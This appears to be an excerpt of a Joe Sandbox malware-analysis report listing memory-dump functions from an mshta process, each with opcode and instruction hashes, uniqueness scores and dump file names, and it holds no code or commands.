Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0ADF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02DF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02D7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0ED7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0AC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02FF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02EF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0AE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0A9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0E97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0A8F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02BF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0ABF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0EBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02B7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0AB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0AAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF02AF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0EA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0E5F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF026F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF061F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0617 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF060F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0A3F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF062F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0627 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF03DF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF03E7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0B9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.514411658.0000000006DF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6df0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction ID: 1463372ae68bfc88129e0c40d608a09710debfe74274bf82548bd0b6b2fd7189
Opcode Fuzzy Hash: b7e98880371c7797690c0b4d8c143e80af4a32e13ab9621a8d3d5af1982e8b4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 06DF0F97 Relevance: .0, Instructions: 4COMMON

